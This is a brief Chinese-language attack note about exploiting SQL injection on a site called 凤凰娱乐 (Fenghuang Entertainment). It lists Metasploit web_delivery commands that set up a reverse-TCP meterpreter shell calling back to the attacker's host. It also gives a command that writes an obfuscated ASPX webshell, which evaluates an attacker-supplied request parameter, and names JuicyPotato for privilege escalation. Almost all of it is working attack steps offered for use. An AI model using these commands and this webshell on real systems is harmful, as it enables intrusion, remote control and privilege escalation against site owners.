凤凰娱乐SQL注入

SQL注入遇到中文路径可以使用powershell上线

Powershell上线MSF

0x01 描述

使用powershell上线MSF，使用的不是msf中exploit/multi/handler模块，而是使用的exploit/multi/script/web_delivery类

use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 4444
run

找绝对路径写webshell

dir /s /b C:\x.png

echo "<% function EeZT0Tpm(){var GEPH="unsa",YACK="fe",CHRN=GEPH+YACK;return CHRN;}var PAY:String=Request["md"];~eval/*Z5Kp4Fs2f2*/(PAY,EeZT0Tpm());%><%@Page Language=JS%>" > wat.aspx

使用JuicyPotatoweb.exe提权